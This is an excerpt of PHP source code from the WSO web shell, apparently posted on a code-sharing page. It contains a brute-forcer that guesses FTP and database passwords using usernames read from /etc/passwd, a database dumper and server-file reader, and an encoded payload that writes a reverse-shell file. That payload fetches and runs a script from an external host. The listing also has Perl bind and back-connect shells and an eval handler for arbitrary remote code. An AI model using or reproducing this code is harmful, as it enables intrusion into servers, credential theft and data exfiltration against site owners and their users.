- $server = explode(":", $_POST['server']);
- if($_POST['type'] == 1) {
- $temp = @file('/etc/passwd');
- if( is_array($temp) )
- foreach($temp as $line) {
- $line = explode(":", $line);
- ++$attempts;
- if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
- $success++;
- echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
- }
- if(@$_POST['reverse']) {
- $tmp = "";
- for($i=strlen($line[0])-1; $i>=0; --$i)
- $tmp .= $line[0][$i];
- ++$attempts;
- if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
- $success++;
- echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
- }
- }
- }
- } elseif($_POST['type'] == 2) {
- $temp = @file($_POST['dict']);
- if( is_array($temp) )
- foreach($temp as $line) {
- $line = trim($line);
- ++$attempts;
- if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
- $success++;
- echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
- }
- }
- }
- echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
- }
- echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
- .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
- .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
- .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
- .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
- .'<span>Server:port</span></td>'
- .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
- .'<tr><td><span>Brute type</span></td>'
- .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
- .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
- .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
- .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
- .'<td><input type=text name=login value="root"></td></tr>'
- .'<tr><td><span>Dictionary</span></td>'
- .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
- .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr>';
- echo '<tr><td><b><a href=/dkcpanel.php>CpanelBruterv1.0</a><br></tr></form></table>';
- echo '</div><br>';
-
- wsoFooter();
- }
- function actionSql() {
- class DbClass {
- var $type;
- var $link;
- var $res;
- function DbClass($type) {
- $this->type = $type;
- }
- function connect($host, $user, $pass, $dbname){
- switch($this->type) {
- case 'mysql':
- if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
- break;
- case 'pgsql':
- $host = explode(':', $host);
- if(!$host[1]) $host[1]=5432;
- if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
- break;
- }
- return false;
- }
- function selectdb($db) {
- switch($this->type) {
- case 'mysql':
- if (@mysql_select_db($db))return true;
- break;
- }
- return false;
- }
- function query($str) {
- switch($this->type) {
- case 'mysql':
- return $this->res = @mysql_query($str);
- break;
- case 'pgsql':
- return $this->res = @pg_query($this->link,$str);
- break;
- }
- return false;
- }
- function fetch() {
- $res = func_num_args()?func_get_arg(0):$this->res;
- switch($this->type) {
- case 'mysql':
- return @mysql_fetch_assoc($res);
- break;
- case 'pgsql':
- return @pg_fetch_assoc($res);
- break;
- }
- return false;
- }
- function listDbs() {
- switch($this->type) {
- case 'mysql':
- return $this->res = @mysql_list_dbs($this->link);
- break;
- case 'pgsql':
- return $this->res = $this->query("SELECT datname FROM pg_database");
- break;
- }
- return false;
- }
- function listTables() {
- switch($this->type) {
- case 'mysql':
- return $this->res = $this->query('SHOW TABLES');
- break;
- case 'pgsql':
- return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
- break;
- }
- return false;
- }
- function error() {
- switch($this->type) {
- case 'mysql':
- return @mysql_error($this->link);
- break;
- case 'pgsql':
- return @pg_last_error($this->link);
- break;
- }
- return false;
- }
- function setCharset($str) {
- switch($this->type) {
- case 'mysql':
- if(function_exists('mysql_set_charset'))
- return @mysql_set_charset($str, $this->link);
- else
- $this->query('SET CHARSET '.$str);
- break;
- case 'pgsql':
- return @pg_set_client_encoding($this->link, $str);
- break;
- }
- return false;
- }
- function loadFile($str) {
- switch($this->type) {
- case 'mysql':
- return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
- break;
- case 'pgsql':
- $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
- $r=array();
- while($i=$this->fetch())
- $r[] = $i['file'];
- $this->query('drop table wso2');
- return array('file'=>implode("\n",$r));
- break;
- }
- return false;
- }
- function dump($table) {
- switch($this->type) {
- case 'mysql':
- $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
- $create = mysql_fetch_array($res);
- echo $create[1].";\n\n";
- $this->query('SELECT * FROM `'.$table.'`');
- while($item = $this->fetch()) {
- $columns = array();
- foreach($item as $k=>$v) {
- $item[$k] = "'".@mysql_real_escape_string($v)."'";
- $columns[] = "`".$k."`";
- }
- echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
- }
- break;
- case 'pgsql':
- $this->query('SELECT * FROM '.$table);
- while($item = $this->fetch()) {
- $columns = array();
- foreach($item as $k=>$v) {
- $item[$k] = "'".addslashes($v)."'";
- $columns[] = $k;
- }
- echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
- }
- break;
- }
- return false;
- }
- };
- $db = new DbClass($_POST['type']);
- if(@$_POST['p2']=='download') {
- ob_start("ob_gzhandler", 4096);
- $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
- $db->selectdb($_POST['sql_base']);
- header("Content-Disposition: attachment; filename=dump.sql");
- header("Content-Type: text/plain");
- foreach($_POST['tbl'] as $v)
- $db->dump($v);
- exit;
- }
- wsoHeader();
- echo "
- <h1>Sql browser</h1><div class=content>
- <form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
- <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
- <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
- <td><select name='type'><option value='mysql' ";
- if(@$_POST['type']=='mysql')echo 'selected';
- echo ">MySql</option><option value='pgsql' ";
- if(@$_POST['type']=='pgsql')echo 'selected';
- echo ">PostgreSql</option></select></td>
- <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
- <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
- <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
- $tmp = "<input type=text name=sql_base value=''>";
- if(isset($_POST['sql_host'])){
- if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
- switch($_POST['charset']) {
- case "Windows-1251": $db->setCharset('cp1251'); break;
- case "UTF-8": $db->setCharset('utf8'); break;
- case "KOI8-R": $db->setCharset('koi8r'); break;
- case "KOI8-U": $db->setCharset('koi8u'); break;
- case "cp866": $db->setCharset('cp866'); break;
- }
- $db->listDbs();
- echo "<select name=sql_base><option value=''></option>";
- while($item = $db->fetch()) {
- list($key, $value) = each($item);
- echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
- }
- echo '</select>';
- }
- else echo $tmp;
- }else
- echo $tmp;
- echo "</td>
- <td><input type=submit value='>>'></td>
- </tr>
- </table>
- <script>
- function st(t,l) {
- document.sf.p1.value = 'select';
- document.sf.p2.value = t;
- if(l!=null)document.sf.p3.value = l;
- document.sf.submit();
- }
- function is() {
- for(i=0;i<document.sf.elements['tbl[]'].length;++i)
- document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
- }
- </script>";
- if(isset($db) && $db->link){
- echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
- if(!empty($_POST['sql_base'])){
- $db->selectdb($_POST['sql_base']);
- echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
- $tbls_res = $db->listTables();
- while($item = $db->fetch($tbls_res)) {
- list($key, $value) = each($item);
- $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
- $value = htmlspecialchars($value);
- echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick="st('".$value."')">".$value."</a> (".$n['n'].")</nobr><br>";
- }
- echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value="download";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
- if(@$_POST['p1'] == 'select') {
- $_POST['p1'] = 'query';
- $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
- $num = $db->fetch();
- $num = $num['n'];
- echo "<span>".$_POST['p2']."</span> ($num) ";
- for($i=0;$i<($num/30);$i++)
- if($i != (int)$_POST['p3'])
- echo "<a href='#' onclick='st("".$_POST['p2']."", $i)'>",($i+1),"</a> ";
- else
- echo ($i+1)," ";
- if($_POST['type']=='pgsql')
- $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
- else
- $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
- echo "<br><br>";
- }
- if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
- $db->query(@$_POST['p3']);
- if($db->res !== false) {
- $title = false;
- echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
- $line = 1;
- while($item = $db->fetch()) {
- if(!$title) {
- echo '<tr>';
- foreach($item as $key => $value)
- echo '<th>'.$key.'</th>';
- reset($item);
- $title=true;
- echo '</tr><tr>';
- $line = 2;
- }
- echo '<tr class="l'.$line.'">';
- $line = $line==1?2:1;
- foreach($item as $key => $value) {
- if($value == null)
- echo '<td><i>null</i></td>';
- else
- echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
- }
- echo '</tr>';
- }
- echo '</table>';
- } else {
- echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
- }
- }
- echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
- echo "</td></tr>";
- }
- echo "</table></form><br/><form onsubmit='document.sf.p1.value="loadfile";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
- if(@$_POST['p1'] == 'loadfile') {
- $file = $db->loadFile($_POST['p2']);
- echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
- }
- }
- echo '</div>';
- wsoFooter();
- }
- function actionNetwork() {
- wsoHeader();
- echo '<tr><td><a href=/dkcgi/cgi.pl>cgi script 1</a><br></tr></form></table>';
- $file = fopen($dir."back2.php" ,"w+");
- $sa=base64_decode('X3NoZWxsX2F0aWxkaV8NCjw/cGhwIA0Kc2V0X3RpbWVfbGltaXQgKDApOw0KJFZFUlNJT04gPSAiMS4wIjsNCiRpcCA9IGdldGVudiAoJ1JFTU9URV9BRERSJyk7ICAvLyANCiRwb3J0ID0gNzA7ICAgICAgIC8vIENIQU5HRSBUSElTDQokY2h1bmtfc2l6ZSA9IDE0MDA7DQokd3JpdGVfYSA9IG51bGw7DQokZXJyb3JfYSA9IG51bGw7DQokc2hlbGwgPSAnY2QgL2Rldi9zaG07IHdnZXQgd3d3Lm5idmsubmwvdy8xMC50eHQ7IHBlcmwgMTAudHh0OyAvYmluL3NoIC1pJzsNCiRkYWVtb24gPSAwOw0KJGRlYnVnID0gMDsNCg0KLy8NCi8vIERh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BUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
- echo "<h1>Network tools</h1><div class=content>
- <form name='nfp' onSubmit="g(null,null,'bpp',this.port.value);return false;">
- <span>Bind port to /bin/sh [perl]</span><br/>
- Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
- </form>
- <form name='nfp' onSubmit="g(null,null,'bcp',this.server.value,this.port.value);return false;">
- <span>Back-connect [perl]</span><br/>
- Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
- </form><br><b><a href=/back2.php>Back-connect[php]</a></b><br>
-
- ";
- if(isset($_POST['p1'])) {
- function cf($f,$t) {
- $w=@fopen($f,"w") or @function_exists('file_put_contents');
- if($w) {
- @fwrite($w,@base64_decode($t));
- @fclose($w);
- }
- }
- if($_POST['p1'] == 'bpp') {
- cf("/tmp/bp.pl",$bind_port_p);
- $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
- echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
- }
- if($_POST['p1'] == 'bcp') {
- cf("/tmp/bc.pl",$back_connect_p);
- $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
- echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
- }
-
-
- }
- echo '</div>';
- wsoFooter();
- }
- function actionRC() {
- if(!@$_POST['p1']) {
- $a = array(
- "uname" => php_uname(),
- "php_version" => phpversion(),
- "wso_version" => VERSION,
- "safemode" => @ini_get('safe_mode')
- );
- echo serialize($a);
- } else {
- eval($_POST['p1']);
- }
- }
- if( empty($_POST['a']) )
- if(isset($default_action) && function_exists('action' . $default_action))
- $_POST['a'] = $default_action;
- else
- $_POST['a'] = 'SecInfo';
- if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
- call_user_func('action' . $_POST['a']);
- exit;
คัดลอกไปที่คลิปบอร์ด |
คะแนน
-
ดูบันทึกคะแนน
|